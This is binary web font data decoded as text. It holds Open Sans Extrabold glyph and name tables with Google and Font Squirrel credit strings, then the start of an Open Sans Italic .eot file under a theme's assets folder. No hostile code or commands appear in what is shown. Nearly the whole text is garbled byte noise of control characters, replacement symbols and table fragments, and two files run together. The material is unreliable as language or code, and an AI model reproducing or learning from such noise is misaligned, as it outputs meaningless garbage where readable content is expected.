�@+�)�99�6�9�;� &,$9�/�!9��9�3,�#99� �99��9�8�99�=�999��90147.5467.54632!#"'; !"$%32654&+"32654#"�4M:\Xe���$�� ���?%^L�}�����JhW��ha�?W{y8=uy��;b05Q8'�w���9:M�����桾0;G8-%;\�VV���U�+�
3�	+��	
+�@		+�/�ֱ	�2��+�
	�+��9��	99�	�9013!3>32!4#"��8�f��w�`[ݖ�XH��j䡻�5	
9�
+�+�/���/�ְ
2��
	��+�
�99014632#"!bmmd��
��XVXV��%m�����5
G�
+��+�/���/�ְ2�	��+��99�
�
9��901325!#"&'4632#"h@8w���0}%�bmmd�Ϣ�w�7��
ZXVXV��F7�+�3�	+�/�ֱ	�2�+��99�	�99013!367!	!��G2���w��A�����q?@��u�a����+�/�ֱ	�	�+013!�����}�#p�+�33�+�+�
3��2�$/�ֱ#	�#�+�	��+�	�%+�#�9��9��
	99��
9��	
$9013!3>323>32!4&#"!4&#"�'1-�m�c0�g��y?DZT�x<C\Tm�NR�FO��hss����hss������L�+�3�+�+���/�ֱ	��+�	�+��9��9��99013!3>32!4&#"�'12�s��yAHcXm�PP��jqs���V����D�
+��+���/�ֱ
�
�+��+�
�
99��9901!2! 32654&#"V+�������N\[KL\ZN93�������>����������� g�+��+�+��/�!/�ֱ	�2��+�	�"+��999��99��99��	9��9901!3632#"&'#32654&#"�>7m���߿V�CNTKDDOVE�Y�������9Jw�9'�����{yV���`�+�+�
/�/�ֱ��+�
��
	�
/� +�
�$9��
999��9�
�$9013237!!47##"326=4&#"Vݿ�hR�y`˾��RVYQR^�58�����"��8��n�/�����;�+�+�+�
+�/�ֱ	�+��9�
�99013!3>32&#"�#=1�Y3.#0U�tm�Zo��un��w����$7�+��+�
��%/�&+��9�
�$9��9014632.#"#"&'3254&'.w��p�jjN�7`C�wu7��~�a[�UG��|3��1/�#1/)?1^[��$9(4:/D@�5��oPj�+��+��2�
+�@	+�/�ֱ		�2�	
+�@		+�	
+�@	+�+�	�99��9��
9��9015?!!!327#"&55�e��jOnO�`ŮH�{���Gn'��"�������mL�
+�+��+�
3�/�ֱ	��	+�	�+�	�9��9�
�9901!3265!!'##"&��?HeV���11�v����or���NS��m!�+�+�3�/�+��901!347!!�����P�}m�b!%4=���/m9�+�3�+�33�/�ֱ	�+��9��99901!36!3>7!!/#!�\,4i�`.dy��^�1s�em�M�\�1�{L�E�������I�
m&�+�3�+�3�/�
+��
99013	!!	!
m��������q�D��B+��>���X������m-�
+��+�3�/�+�
�9��9901!367!#"'32>7�����@V��NR5D4N:!m�v3HE4��K�3(IS1�m	.�+��+���
/�+��9��90135!!!1�Fy�?��c+��=��5�#k�	+�
�/��/���$/� ְ2�
�2� 
+�@
	+�2� 
+�@ 	+�%+� �9�� 99��99�
�990126=4>3".=4&=s�b��Y?&q�p*FN��a��-YQ���?��,&��qyvl��',��@���PZ��B��/�ִ
+�
+�+01!��B�.B��9�"k�+��"/��/���#/�ְ2�
�2�
+�@	+�
+�@	+�2�$+��9��99��99��9901>54675.54.'23"#BlRp�q'=Z��b�so�b��B34lvyq'+?���QY��ZP���@H=�5�/��2�� ���2�/�+��9��9016323267#"&'&#"Hh�EzY�k2}8i�G}T�inl$7@9��m"7R���6�+�
+�/�ֱ
�+�
�2�+��
9901!4632#"&R3J3�Zlcenkhfi����NZdeY[fe���H�n�+�	+�+�	+�/�ֱ��+�2�
+�2�
+�@	+�+��9��99��	999��99014753.#"327#5&���ϫ�sGxA_hɬ�������))��	K��%����d��R��"f��v�+��+��
+�3��2�/�ְ2�	�2�
+�@	+�@	+�
+�@	+� +��9��9��	9��901354632&#"!!!!>=f�����n�h:7X������Q9�v��R��7BGj��`�M��9/;L8b`��'z�/��%/���(/�ִ
+��"+�
+�)+��$9�"�99��	
$9��
$9�%�99��	$90176327'#"''7&54732654&#"`�{TX[Vx�))y�xYXdLw�{))�Q6:TT:8O��{)-�}Lf^Rw�w'%s�wR\YW�8OM::OQ��z�+�+�3�
+�	3�+�2�
+�3�+�2�/�ְ2�
�2�

+�@
	+�
2�
+�@	+�2�+�
�9��901!!3#3#!5#535#53�����������������8�u����u���B�#�/�ְ2�
+�2�
+�	+01!!!�������G��j���),6��/�$+�/�+�7/�ִ-
+� ��
+�-�2+�
+�� ��&
+�&/�
+�
2�8+�� !99�-�*99�&�$)05$9�2�999�$� 9��!05$9��
901467&54632.#"#"'53254&'.%654&'jVN�޸��bI�7l[S��@T}��̔O�E�>l��@#Xo)Tb:#@z/f���V�(.J+H"G�aMy<^���V�,@`*=0?bvo3P:/<9V) ��#/�	/�3��2���/�ֱ
��+�
�+014632#"&%4632#"&�\NO]]ON\�\PP]]PQ[�KSUIGURJKSVHGUS\��;�5��+�
+�+�
+�3.
+�3+�#(
+�#+�6/�ִ
+�� +�+
+�+�+�
+�7+�+�#%03$9�.3�19�(� &0$9�#�%9014$32#"$732$54$#"4632&#"327#"&\�^��Z������ä��������Ц�\jiQ[W[�x~�����^��������Zƞ�훝�������N�8zv�rD�@�1���$�+�
+�/�
+�"/�
+�%/�ִ
+��!+�2�
+�&+��999�!�99��9��99�"�9��9��90146?54&#"'>32#'#"&7326=1��X339e5Ll�[���-0qRm}�$"2<T`�tn	)#�3���?L?{ $M;JP'/
5	5	J����������1�����������H�=X3�/��
+�@	+�/�ִ
+�
+�@	+�+01!!H���L��^+�`�"�/����/�+�+�+01!+5�8��\��;�,5��+�
+�+�
+�"5
+�"
+�5"
+�@5)	+� 2�6/�ִ
+�� +�,
+�-2�,�1+�$
+�$�+�
+�7+�1,�*$9�$�')99��(9�5�$*-$9014$32#"$732$54$#"! !#32654&+\�^��Z������ä��������#�BK�ޒ#:C7D
��^��������Zƞ�훝������k��Ww$��@���+7/'��
�/�+�+�/�+015!��?�!�L�+�+�/�+�/�ִ
+��+�
+�+��99��9014>32#".732654&#"?b�cc�ba�ec�b�M66MK88KZa�ee�ba�cb�b2MN14QQH='d�+��/�3��	2�
+�@	+�
+�@	+�/�ְ2�
+�2�

+�@
	+�
2�
+�@	+�2�+013!!!!!!H��t
t�������o����h=J��Z�+�+�/�+�/�ִ
+�
+�@
	+�
+�@	+�+��9��999��901>32!!57>54#"=P�t��7^�[�^�TAAQ[FI>~p.RW_~���TZ":X?9��%��+�"+�/�+�/�
+�&/�ִ
+�
+�@	+�� ��
+�'+��	99��9��99��	99�"�%99��901632#"'53254&+532654&#"?�’�JXa^ij�|u�tAFhPGD*22X5VssdNm 	hWx�F�QC)�%)+"(��!	�/���
/�+015>7!�S�P��H��`&@�-���mZ�
+�+��
+�3�/�/�ֱ	�2��	+�	�+��9�	�9��9�
�99901!3265!!'##"&'��CO]S���5"qB8D�Y��sr���XT(+Z���f���O�/�+�
+�@
	+�@
	+�2�/�
ִ	
+�	�+�/�	�+�
+�+013!####"&f��y���6G����3��3�V��(�	/�+�+�/�ֱ��
+014632#"&Vmhcjm`dq�\dd\Zgf����P�+�
+�+�+�/�ִ
+�+�
�	
999��9��
99��
9013254&'73#"'ZS@4RBH�	`J�|�M��/!3�'kMm�9Jh�%�+�/�ִ
+�
+��99013!4679T��	-W���d#�0J1���N�+�
+�	/�
+�/�ִ
+��+�
+�+��	99��99014632#"&73254#"1���Ŀ����04ccdP��Ω��ͪWU��LP)/
7	%%	%L����}#����}�\[����\[��������'��'�{�����%�'t7��'�/{���SN�'�/��&u��%��
�&d�+�$+�/���'/�ֱ!�!+�
�/�
�(+��9��9�!�$$9��9�$�999017467>=!327!"&4632#"&%nd:3Pf9BK>�̋���Hlbenjiei
x�Q@B,3Vb�@$<3'*0j���aZdc[]dd���s&$CR���s&$vR���s&$��R���&$��R���u&$j�R���L&$��}��/�@�+�3�	�	+��+��
+���/�+��9901#!!!!!!!!#
t�'��J���Kd�<o��������Z��h���&&z7���s&(C��R���s&(vbR���"s&(��R���u&(j��R����@s&,C��R���Ps&,v��R����,s&,��R����u&,j��Rw�g�
+�
�+��

+�3��2�/�ְ2�
�2�

+�@
	+�
+�@	+�
�+��+��99013! )32654&+3#�`�m���'�X����s��3@C�������t3�����������&1�R��h���s&2C�R��h���s&2v?R��h���s&2��R��h���&2��R��h���u&2j�Ry
�7			'y��������߽��������h���"j�
+��+���#/�ֱ�� +�
�$+��9� �
$9�
�9�
�999��
"$9��99901!27!"''7&&# 32654'hm\��L�R������T�T���DC�ײ6?���m�7vr}��}����+�}}���T����}V�����ys&8CR�����ys&8v)R�����ys&8��R�����yu&8j�R��Ps&<v�R���K�+�+�

+��
+���/�ֱ�
22��+��+�
�9013!3 !#32654+��o���oHYi�f��������RdX�����3p�+�+��0/���4/�ֱ3	�3�-+��! ���5+�-3�%($9�!�9��99��9��9�0�9990134$! #"&'32654.'.547>54&#"�N;(;F;(1E�w�߈�@1�A=LHU~b�K@c[�L�Dz9]K:.$*%_�|��"#2/'&/-CsPz`4O,3D���J��y!&DC���J��y!&Dv���J��y&D�!���J��y-&D�D��J��y#&Dj-��J��y�&D�`J��%�&06��$+�3�)�2�+�3��52�1$
+�1+�2�1�.+�7/�ֱ'�'�,+�2�	�12�,
+�@	+�8+�'�	$999�,�99��
 99�)$� 99��'999�1�9��	
9901%754#"6!2>32!327# '#"&%326=!.#"J񷈊�n�ɇF�t��H�tª^€��P{�x���qEeTj]�T\F�`Y�Pd^1-��ZqV��0#�SK ˭dZHXERb��V��&Fz���V���!&HC���V���!&Hv���V���!&H�)��V���#&Hj���~2!&�C�v��k!&�v�c����!&��������#&�j��X���'%e�+��#/���&/�ֱ�� +�2��'+��

999� �	$9��99�#�99��99014327&''7'77! %32654&#"X�4CL�u��l�\�s������������[IZJ\H��T�Mw�\]�I>��a�������Thp����-&Q�b��V���!&RC���V���!&Rv���V���!&R�#��V���-&R�7��V���#&RjH�=1�
/��/��/���/�ְ2�

+�2�+01!4632#"&4632#"&H��iOMKRWFGUOMKRWFGUL��RXWSPZX^RXWSPZXV����#m�
+��+�+���$/�ֱ	��!+�
	�%+��9�!�
$9�
�9�
�99��
#$9��99901!27!"''7&&#"32654'V:}mG�C����}hT�O�w!$.ri�1rg
93'oih�����"�k{�*c0�
��#��V-������!&XC�������!&Xv�������!&X�B������#&Xj1������!&\v����"n�+��	+��	
+�@		+�/�#/�ֱ	�22��+��$+��$9��	99��99��9�	�901!3>32#"'#32654&#"��+�d����rNTP?BSUD���jwNX����<\�?'������{{������#&\j��m!�+�+�/�ֱ	�	�+013!��m��h��F�"��+��+��+�	�+� �


+�
��#/�ֱ��+��	2�
+�@	+�$+��99��99�
�9�
�99�	�901!2!!!!!!# 327.#"h^BC�D�'��L��"�9�������L"v?}��g�	������a��+��V����'-g�+�3��2�+�3�,�+�%�(
+�(+�./�ֱ�/+��99��9�(�"999�,�901!2632!327#"'# 32654&#"!.#"V+╛���H�tª\��������L\[KL\YM�T\F�93��ZqV��/$��>�������Rb��Pu&<j-R��/!
�/�3���/�+��9015>7!#&'�E�&�^��Tu}E�A�:��0fk+%�=�L�	/�
+�/�
+�/�ִ
+��+�
+�+��	99��99014632#"&732654&#"%�yv��xy��**#11##1�t��pq��s%//%&..���-��+�3�+�22�� ��3�+�22�/�ִ
+�+�6���`+
�.�.����������+��+�+��+�+� � �#9�9�9�9�....�........�@��
901>3232673#".#"�zw&VXV&"	�~m-[XS%6կ�$20��$b+�`�"�/����/�+�+�+01!+5�8��+�`�"�/����/�+�+�+01!+5�8��+�`�"�/����/�+�+�+01!+5�8��J����/����/�+01!Jl���J����/����/�+01!Jh���m�� �/�+�/�ִ+�+017!!dMC��������%m��%�/�+�/�ֱ
�+��901!%DV\Um=
����9��+m��
&�/�3�+�
2�+�	2�/�+017!!%7!!dMC���dMC�������������%m��
L�/�3�+�
2�+�	2�/�ֱ
��	+�
�+��9�	�9��
901!3!%DV\U�DV]Sm=
���=
���9���+L�/�3�+�2�+�2�/�ֱ
��+�
�+��9��9�
�90167!367!9;VaO�;VaO��Wg����Wg���J��m.�	/�+�+�
/�ִ+�+�+014632#"&J��������R쮺�����0V���f#D�	/�!33�+�22�+�$/�ֱ��+���+��%+0174632#"&%4632#"&%4632#"&Vmhcjm`crPmhcjm`crPmhcjm`cr�\dd\Zed[\dd\Zed[\dd\ZedJP�/!�/�ִ+�2�+��9015	J�����1�����LP�/!�/�ְ2�+�+��9017	%L����}�\[����Nm�!!�N�.���JJ�
`�+�
/�3�
+�2�

+�@
	+�/�	ְ2�
+�2�	
+�@	+�	
+�@		+�+�
�9��9015!3#!5'3547^'}}�흝(ռ+��ɋ�ɦEBd!7����'��$+��+��$
+�3�
+�2�$
+�3�
+�2�(/�'ְ2�	�2�'
+�@	+�@	+�'
+�@'	+�2�)+�'�$9�$�"9��!9��9��
90153'57#5332&#"!!5!!327#"$'7���3C���wxnpwR����!�yf����/��+��	L��3kY�,ͤ7��7��%�����+�
33�+�$2�+�+�+�
+�2�/�ִ
+�
+�@	+�
+�@	+��+�
+��+�
+�+�6��x�g+
�.�����
��=��+
�.�
�������...�
.......�@��9015!##!!#47###%������	���	����!���!�/�D*��86�poo!!o��o����-m5'LNI��-\'ONI��-�5&I'INL���-�&I'INO����_<��������N��A���	5�N�O�����RR1yL%�P�%dHVy�J�7L-�Hy9�+PV�
�H�T�-�F�#�^�F�N�D�5PV`9�H�H�H
-R�d�1h��d�P��h!����^�������`h�`hj��Z�3��P�P�=�u��/3������J%�PV%V�VN-�\�����F����\�V%�%V��Dw�5\��H

�1w=�wB�HRR���f�`��j���\-1sJ�H�+�\��`?�H1=1?�`�%fPV��19#1sL������S
%���������1hd�d�d�d������������`h`h`h`h`h�y`h����P���J�J�J�J�J�J{JPV�V�V�V�V��~�k������!X\�VVVVV�HRV\�\�\�\��%�����h�VP��`%�����??�j�+�+�+JJ%y9��%w9#J�V3J3L��N�1�7)%o�-�-	5-	1-2222v��4�t���`����2^�0��Tz�r��		,	@	�
\
�
�F���h���
*
P
�b�R��2d:n��H`|���<����2|��D��F��:��`��l��22l�<�@�$� < b � �!X!t!�""n"�##Z#�#�$$>$�$�$�$�$�%J%V%b%n%z%�%�%�%�%�%�&
&&"&.&:&F&�&�&�&�&�&�&�''�'�'�'�'�'�((�(�(�(�(�(�(�)�)�)�)�)�)�)�)�)�)�*`*l*x*�*�*�*�*�+d+p+|+�+�+�,,,8,�-4-@-j-�.@.@.@.@.@.@.@.@.@.@.@.@.`.�.�.�.�.�//&/Z/�/�00r0r0�0�0�0�11�2F2T2`2l2|2��B<ff	h	h	z	�	&�	�	$�	�n�Digitized data copyright � 2011, Google Corporation.Open SansExtraboldwebfontOpen Sans ExtraboldVersion 1.10OpenSans-ExtraboldThis font was generated by the Font Squirrel Generator.�ff�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~������������	

��������������uni00A0uni00ADuni00B2uni00B3uni00B5uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205Funi2074EurouniE000uniFB01uniFB02uniFB03uniFB04�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D� E�d+�+D� E�=+�+D� E�+�+D� E��+�+D�	 E�+D�
 E�	+�Fv+D� E�	�+�Fv+D� E��+�Fv+DY�+PK!�rd���;bluetheme/assets/fonts/OpenSans/OpenSans-Italic-webfont.eotnu&1i��4��LP��[ @(� �{�Open SansItalicVersion 1.10 Open Sans ItalicFFTM_��GDEF( OS/2�E��H`cmap�\l���cvt 
�
��@fpgm�/��egaspDglyf�,��Lt�head�ܰ�{6hhea?�{T$hmtx��BI{x�loca�e̔0�maxp� name%�A��0�post-����prep�c]��Rɉo1��h��m���3�3�f��@ [(1ASC ����X �H� ��0 ~�1Sx��� 
    " & / : D _ t �!"���� �1Rx���     " & / 9 D _ t �!"���������q�M�����������������r�;�� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ڹ��������y��������������������q�z�H��Ciu}��������������������x��,�K�*PX�JvY�#?�+X=YK�*PX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-���
�6�+��+���/�ִ+��+�+�	+013!%!!�I�y����Jh�+��+�7�+�	/�+�/�ִ+�+��99��90174632#"&3+OD-8NB17�1��NLX76D^8x3����B�2�+�3�+�2�/�ִ+�	+��9901333�H���H�������?;�9�+�333�+�333�
+�$3�	�$2�
+�$3��	

$2� /�ֱ��+�� ����+��!+�6�=Z��+
�=��]+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

................�@017!!7!3!3!!!!#!#7!!?
e��
-{�}1�}��b
��}�����y�/`����T��L��L����R��R��TH��/%,c�/�
�&2�
+�@	+�2�#/�3�
�2�-/�ֱ�+��
+�@	+��)+��
)+��/�
�.+�6�>|�'+
�����
���+�>��+�+�+��
+�
+�>��+�
+�
+��+�>��+�"+�#+��&
+�>��+�,
+� � �#9�"9�
9�,9�9�
",.......@"#&,............�@��9�#�999��901753.546?3&'#7&>54&'HR�Ib�}ؿ'�'�|?y^���1�1��EITlv�k~BQ��)-�1�r����@�?	�H7�l����|5Y�t��
|\6T �����.:��+�,+�1�+�+��,
+��$7,
+�$��;/�ֱ��+��� +�/�/�5+�'�<+��9��999�5/�,$999�'�9�1� /99��'599�$7�99��99014632#"&332>54#"4632#"&732654#"�e�rtx@e�Wmz?>���Lk4T?&lBj@Ze�rtx?e�Vnz�jAhEmCi?\�1���l���b��5��J`�O��G�~��;�1���k���c����g���B���)5r�+�+�"
�+�3
��6/�ֱ��+�*�*�0+��7+�*�"999�0�%&$9��$9�3"�&,$901467&54632673#'#"&73267>54&#"B��gԯ��An�QH�e���ux܉�ʣ�mW�r�΀p;R�h>UQitV��f���ɞ�NvbR*�{n���dV��j�B[�Cbu�xsGN\:MYx����"�+�+�/�ִ+�+013�H�����R���� �+�/�ֱ�
+��
9013
#R����r��S@������
�`����
 �+�/�ֱ�+��9013��q����'}U��������j�7%%'�7s)�{��w��q��t5����#���/��4���y�R�/�3��2�
+�@
	+�
+�@	+�/�
ְ2�	�2�	

+�@		+�
	
+�@
	+�
+015!3!!#����z�����y��}�����+� �/�	+�/�ִ+�+0173d~N�q������7�9s!�/�
�
��/�ִ+�+017!7#�"՞�+��#�.�	/�+�+�/�ִ+�+�
+0174632#"&+QG+5PD.6JM[45G_4��}�#3^-�����Jy��D�B�
+��+���/�ֱ
�
�+��+�
�
99��901$3 #"73265#"y�
�m��񳰼�dos�q�q�w��)��������C�a/��
w�+�3�+�3�/�ֱ�+�6�>��+
�������>v�+��+� � �#9�..�...�@��
901	3#7/���Ǭ�;2Y���J�b5:n7�B�+��+�
��/�ֱ�+��99��9�
�
$90137>54&#"'632!�f�a/xgM�YR�ް�O������]�}{Kct9Ds���o�б���/��1�(\�'+�
�+��'
+���)/�ֱ#�#+��*+�'�9��#99�� 99��999017532654&+732654&#"'632#"/^�U��������tcP�bP���ʳ|�|��;�15�������\l6Bv����� 	�}��rL�
��	+�3�+�	
+�33��
22�/�	ֱ�+�6�>���+
�	������+�	�
	+�	+�>��+�
	+�
	 � �#9�
..�

......�@��9901733##%!6#B���!�H�J�;�.@TcN��)���N��2$�P��H�r�+�
�+��	
+�
��/�ֱ�+�6�={�7+
�.�
������
..�
....�@��9�	�999017532654&#"'!!632#"P���֓�0bZJ��!��Wa�ג����;�f��~�
9���IѲ��y���Z�(j�+�
�+�
�$
+�
��)/�ֱ��"+��*+�"�
999��
99�$�
$9�
�9��9014$32&#"3>32#"&732>54#"�y��oI#Df��D;�j���䓶Ǧyp^�Q�B|`0���#�����O^Ŭ�����Ή�l�q�9_r�y�"�+�+���/�+��9013!7!��1{�!����`��V�%1e�+�
�
+�/��2/�ֱ��+�&�&� +��, +�
�3+� &�
#)/$9�/�
#)$901467.54>32#"&732654&'>54&#"`��_Qm�{�Ü�jxᘾخ�p��hq���NX��s`r�Z��LE�`o�a����PN�sz�fűk~�zc�<<�sR|6<�fZj�b��+�(c�+�� ��
�+�&�

+�

��)/�
ֱ��#+��*+�
�9�#�
999�&�
$9017532##"&54632
#"32>54&#"b�p�@
3�c���琴�p������mlL�Y)ve���/,KWž������W�ٌ�|�9jzZ���+���dU�	/�+�/�+�/�ִ+�+�+�/�+�+��	99��990174632#"&4632#"&+QG+5PD.6�PGaSA.6JM[45G_4�M[hI]5�����d*�/�
+�/�ִ+�+��9901734632#"&d~N�q��PGaSA.6������M[hI]5y��5	y����bߕ��������/��/�
��/�	+015!5!��h�������y��75	5y���Hs��!b�����&q�+�#�	/�+�'/�ִ+�2���/�� +��(+��	&999��9� �#$9�#�&999��90174632#"&>32#>7>54&#"�PG,5SA.6'\�R����}X�es�P.g`Q�BJM[45I]4O32��{�x[qh��[dXd>]e3o�F��5A��3/�.	�/�3�9� 2�>/��'/�	��B/�ֱ+�+�+�6�6�$+��C+�6�=��T+
�:�<������+�:�;:<+�;:< � �#9�9�;<.....�;<.....�@�$6�'.03$9�.3�19��09�>9�$$901$!2#"'##"&54>3232>54#"!27# 32&#"o��
��n�z�o�s���A}X@DfNJ����
������BA�UF?@^�\�����쵳�ޤ�������$�.u��������VZqO]S;n����y�+�33�+�3�
+�	3�
�2�/�ֱ�+�6��z�7+
��
�����
�
+�	
+�
.�	
....�@��901#3#!!&'u���9��I�#%W��J�/m+��X�V�� ��+��+� �
+���!/�ֱ�+��"+�6�>��+
�.� .���� ���� +� +� ......�@��9��99� �9013! #%!2654&+732654&+V5w���s{����
�•�������������
 �n�񑡓t{��~hg���
�=�+��+�	��/�ֱ
�+��9�	�999��901$32&#"327#"��d�ŗE�����ë��V�n����P�E��ݻ�9�+V�	]�	+�3�
�+���/�ֱ�+�6�>��+
�.�.��
�����
....�@�
�9013! !'32$54&+V5V�z�����2��Dz�����pؓ�N���Vj�i�+�	�+��
+���/�
+�6�>���+
�.�.��	�����	�	+�	+�	......�@013!!!!!V5� ��b��r5!���+���Vj�	`�+�	3�+��
+���
/�ֱ	�+�6�>���+
����	���	+�	+�....�@013!!!!V5���n ����������N�~�+��+��
+�3��2�/�ֱ�+�6�>��z+
�.�������..�....�@��99��9��901$32.#"327!7!# ��h�u�hBM�j���͸�j`��!˚�����
��(,�"2����'���9K!Vs���+�333�+�333�

+�	3��2�/�ֱ��+���+���+��
+�6�>���+
�>��+
��+��+�	+��
+�	
....�@0133!3#!V5������ʧ��l����n�J��PV5�?�+�3�+�3�/�ֱ��+��+�6�>��+
�@0133V7�����J���5�Y�+�3�/���
/�ֱ�+�6�>��+
�����	��	..�	..�@��9��901732673!"��ELd�3���O��i���}x��D��V+�
��+�
33�+�33�/�ֱ
�
�+��+�6�>���+
�>���+�
�
+�
+�
 � �#9�9�..�..�@��9��901333	#&'V5�����^�H�H�}��:���ǵe����VV�E�+��+�3�/�ֱ�+�6�>���+
�������..�@0133!V5���5!���T����+�$3�+�33�/�ֱ��+��+�6�>���+
��������|�$+
�.���
����>��+
��
�����>��+��	
+��+�+� � �#9�9�	
9�	
.......@	
...........�@��
99��901333!#7###T5�	�
�Ѯ~��3��+���L��JNwM��H�J�}T���+�	33�+�33�/�ֱ��+��+�6�>���+
�������>��+
�����	��..�	....�@��9901333673##T5��*���˵�4 *���<�/�J���������
D�+��+���/�ֱ��+��+��99��9901$32# 32654&#"��O��������Ĩ�񌼧���%�����W�+���l�����V��
s�+�
3�+��	
+�	��/�ֱ
�
�+��+�6�>���+
����
���	
+�
+�	....�@��9013!2!#32654&+V5J����Ç{�������������Ѷ�}o�����M�+��+��� /�ֱ��+��!+��
$9��
9��9901$32## 32654&#"��O����������Ĩ�򅼧���%����N��J+���i�����V����+�33�+��

+�
��/�ֱ��+��+�6�>���+
�������
+�+�
....�@��99��9�
�9��9013! ##32654&+V5@���������Ї��f�����e�y`���ym�'��#�&f�$+��+���'/�ֱ��+�!�(+��
$999��	$9�!�9�$�9��!$9��9017532654&'.54$32.#"#"&'����i��u�c�_BB�E��"Ji�g5��j�+�T��NwQU�t��&.�&,�w6MD=XdyP�����J�+�3�+��22�/�ֱ�	+�6�>��+
�������..�@017!!#�!��h����������w�+�
�+�33�/�ֱ��+���+��+�6�>��a+
��
�����
..�
..�@��
99�
�90147332673#"&��������,ͪ�7����Qxn��jRu�����:������Q�+�+�33�/�ֱ�
+�6��X�\+
�������.�..�@��90133673#��a=e߿����^ċ����J���g�+�3�+�	33�/�ֱ�� ���/���+�
�+��99��	99�
�9��99901336733673#&5##ߪ
YC��+		K8���h�1H�,���{Xb��`����S�}�Jň�H������&�+�3�+�3�/�
+��
9901#	33	#hT�������������3�J������}�+�3�+�33�	/�ֱ�+��/��
+�6�>���+
����������+
��������...�...�@0133#�����q�w���g��%����	.�+��+�
��
/�+��9��901#7!7!!��q Z�d�!�����o�����I�+�
�/���/�	+�6�>��+
�.�.��
���
��....�@01!#3}���� �����!��P�?�+�3�+�3�/�ֱ��+��+�6�����+
�@013#ݚٚ��J�j��j�U�+�3�
�2�/�3��2�/�	+�6�>��+
�.�.�������....�@0173#7!��@�������ߍ�5)�I�+�3�/�ֱ�+�6��3�_+
�.���
����...�..�@013#5Vm
��-)��h��D����H�/�
�
��/�+017!�+����?��!%�/�
+�	/�ֱ�
+��90153#.?�+hh=���=�b��`\ _�+�+�
�	+�+�
��!/�ֱ��+��"+��$9��
999��
$9014632373#7##"&732654&#"b���\�(C��Ƌ��^Ua�xp[h�f^�d�c]�����ƨrq�)�gz���;��9"X�+�+�
�	+�
��#/�ֱ��+��$+��$9��	99��$901333>32#"&'#32654#";J�370	]�`�����a�%
F�oic�h�`�u�voƭ���fX�Znu�+���b���\=�+�
�+�	
��/�ֱ
�+��9�	�999��9014$32&#"3267#"&b����/xcp�i�uH�>|�����R�3�3���(�?�b���!k�
+�+�
�+�
��"/�ֱ��
+���
+��#+�
�$9��999�
�9��$90146323673#7##"&732654&#"b����W
N����e�^����^�ulge�i^�d¾�wf���}hĪ�#�ot���b���\"h�+�
�+� �

+�
��#/�ֱ��+��$+��$9��99��9�
�99� �9014632!#3267#"&32654&#"b���������!{�?�c^�W�����INg���Y��w��P��$0�,#��wq5F���� ��+�
�+��2���	+�/�
��!/�"+�6�>���+
��
�������
+�	
+��+�+�
....�	
........�@�� 9��9��9�
�9013267#?>32&#"3##"'�@0LR�
�.��(t +L=W]���'��E8��|s:CBdȥ�a�l�������L\(5C��&+�,	�+�@�2�+�@�9&
+�9��D/�ֱ)�)�+�6� ���6�=+���# ��/�//�#�E+�6��e�t+
�3�2����!�� !+� ! � �#9� 23....� 23....�@��9�6�&,999�/�@$9�#�9�,�#999�9�99�@�9901467&5467.54632!#"'!"&732654&/32>54&#"��Nf[?P�NLs�)��7�B?u������ܢ����l��x�ZPOv?XRNuA�i�6)PEc+ }S�k>`��5N)���ʓ�MZt>H~UYT�VRVQ�;)��+�33�+�
��/�ֱ��+��+��/��+�6�>��+
�������+�+�+�+�+�+� � �#9�9�9�9�9�9�........�........�@��9��99��9901333>32#654#";J�!#)^�d��'j���Y��!eR���f{j��>h��!�^)�v�';�Y�+�3�+�3�/���/�ֱ��+�� ��	�+�6�>��+
�@��9901334632#"&;��q@3XC,(4H��`8GZ7L1����u�
+�
�+�3�/���/�ֱ�
 ���+�6�>���+
�������..�..�@�
�99�
�9��9013273#"'4632#"&��=:}+���$��E6V@3VC,&4������78GZ7L19!��+�
33�+�/�ֱ��+��+�6�>��.+
�������>��+�+�
+�
 � �#9�9�
....�
..�@��99��9��99013333	#9J��9-�+'��R������-��{�o9-I�+�3�/�ֱ��+��+�6�>��+
�������..�@01339L�����;�\,��+� !333�+�+�3�'
�2�-/�ֱ,�,�+���!+� � �+��+��/��.+�6�>��+
�!�"�� ���"..�"..�@��99� !�'99��
99��99�'�
$901333>323>32#654&#"#654&#";�
W�\qzV�c����EJQ�wk��>KT�y!eH�wh�t}y��Dn�`�h*>KtՒ��^)FNxߝ�%;)\��+�
33�+�+�
��/�ֱ��+���+�
�
+��/�
�+�6�>��9+
����
���..�..�@��99�
�99��
99901333>32#654&#";�
`�`����GNY��!eH�ze�}Oe�`�h(?Lxޞ�%b��V
D�+�
�+�
��/�ֱ��+��+��99��99014632#"&732654&#"b����ܐ���ڬwh�]}km�_��O��ż���⻃��
�s������9Z"n�
+�
�+�+�
�/�#/�ֱ��+���+�	�$+��9��999��
$9��	$90133632#"&'#32654#"+P�������a�(
k�oic�h�`�u�4���dZ&Z�Fnu�+���b�`\"[�+�
�	+�+�
�/�#/�ֱ��+��$+��99��$9��$9014632373#67##"&732654&#"b���^�%
C}���e	0_�`����\�ymbe�h^�h�e[����-�ylë�"�iz���;h\L�+�+�
	�+�
�2�/�ֱ��+��+��99�
�9901333>32&#";�
H^g?E3$54[�wkH�_S-�
xՂ�
��D\$d�#+�
�+���%/�
